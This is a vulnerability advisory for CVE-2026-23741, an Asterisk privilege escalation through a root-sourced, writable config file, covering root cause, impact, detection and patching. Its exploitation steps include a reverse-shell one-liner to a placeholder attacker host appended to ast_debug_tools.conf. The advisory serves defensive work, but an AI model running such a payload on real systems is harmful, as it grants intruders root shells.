CVE-2026-23741: 
NixOS vulnerability analysis and mitigation

CVE-2026-23741 is a privilege escalation vulnerability in Asterisk, the open-source PBX and telephony toolkit, caused by the ast_coredumper script sourcing a configuration file from a directory writable by the asterisk user. An attacker with write access to /etc/asterisk/ can inject arbitrary bash code into ast_debug_tools.conf, which is then executed with root privileges when ast_coredumper runs. Affected versions include Asterisk prior to 20.18.2, 21.12.1, 22.8.2, 23.2.2, and Certified Asterisk prior to 20.7-cert9. The vulnerability was published on February 6, 2026, and carries a CVSS v3.1 base score of 8.8 (High) per NVD (GitHub Advisory, Red Hat CVE).

The root cause is classified as CWE-427 (Uncontrolled Search Path Element): the ast_coredumper script, which runs as root, uses the bash source command to load ast_debug_tools.conf from a search path that includes /etc/asterisk/ — a directory writable by the asterisk user:group. The script searches for the configuration file in this order: ./ast_debug_tools.conf, ~/ast_debug_tools.conf, and /etc/asterisk/ast_debug_tools.conf. Because source executes the file in the current shell context, any bash code placed in the file by an attacker will execute with the effective privileges of the running process (root). Exploitation requires local write access to /etc/asterisk/ or the ast_debug_tools.conf file itself, and is triggered when an administrator or automated process runs ast_coredumper (GitHub Advisory).

Successful exploitation allows a local attacker with write access to /etc/asterisk/ to achieve arbitrary code execution as root, resulting in complete system compromise. This enables full confidentiality, integrity, and availability impact — including unauthorized data access, system configuration modification, installation of backdoors, and denial of service. The privilege escalation from the asterisk service account to root also creates a pathway for lateral movement within the host environment (GitHub Advisory, Red Hat CVE).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time (Red Hat CVE). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.02%, reflecting a low probability of near-term exploitation. Exploitation requires local access with write permissions to the /etc/asterisk/ directory, limiting the attack surface compared to fully remote vulnerabilities (GitHub Advisory).

1. Gain initial access: Obtain local access to the Asterisk server as the asterisk user or any user/group with write permissions to /etc/asterisk/ (e.g., through a compromised Asterisk service, web shell, or other low-privilege foothold).
2. Verify write access: Confirm write permissions to /etc/asterisk/ast_debug_tools.conf using ls -la /etc/asterisk/ast_debug_tools.conf or attempt to create/modify the file.
3. Inject malicious bash code: Append or overwrite /etc/asterisk/ast_debug_tools.conf with arbitrary bash commands, for example:

   echo 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1' >> /etc/asterisk/ast_debug_tools.conf

4. Wait for or trigger ast_coredumper execution: The script is typically run by root during a crash or diagnostic event. An attacker may trigger a crash or wait for an administrator to invoke the script manually.
5. Achieve root code execution: When ast_coredumper runs as root and sources /etc/asterisk/ast_debug_tools.conf, the injected bash code executes with root privileges, providing a reverse shell or other attacker-controlled outcome (GitHub Advisory).

• File System: Unexpected or recently modified /etc/asterisk/ast_debug_tools.conf file; presence of shell commands, reverse shell payloads, or encoded content in this file; new files or scripts created in /etc/asterisk/ by the asterisk user.
• Logs: System logs (/var/log/auth.log, /var/log/syslog) showing ast_coredumper execution followed by unexpected child processes; audit logs (auditd) recording writes to /etc/asterisk/ast_debug_tools.conf by non-administrative users.
• Process: Unusual processes spawned as root with parent process ast_coredumper or a bash shell (e.g., nc, curl, wget, python, reverse shell processes); unexpected outbound network connections from the Asterisk host originating from root-owned processes.
• Network: Outbound connections to unknown external IPs from the Asterisk server, particularly on non-standard ports, shortly after ast_coredumper execution.

Upgrade Asterisk to one of the patched versions: 20.7-cert9, 20.18.2, 21.12.1, 22.8.2, or 23.2.2, depending on the deployed branch (GitHub Advisory). As an interim workaround, restrict write permissions on /etc/asterisk/ and ast_debug_tools.conf so that only root or trusted administrators can modify these files (e.g., chmod 750 /etc/asterisk && chown root:root /etc/asterisk/ast_debug_tools.conf). Additionally, review and audit which users or processes have write access to the /etc/asterisk/ directory, and consider monitoring the file for unauthorized changes using file integrity monitoring (FIM) tools (Red Hat CVE).

The vulnerability was assigned a "Low" severity rating by the Asterisk project itself in the GitHub Security Advisory (CVSS 0.0 per the advisory's own scoring), while NVD assigned a significantly higher score of 8.8 (High), reflecting differing assessments of the attack vector and impact. Red Hat has tracked the issue in their CVE database. No notable public researcher commentary, social media discussion, or significant media coverage has been identified beyond standard vulnerability database entries (GitHub Advisory, Red Hat CVE).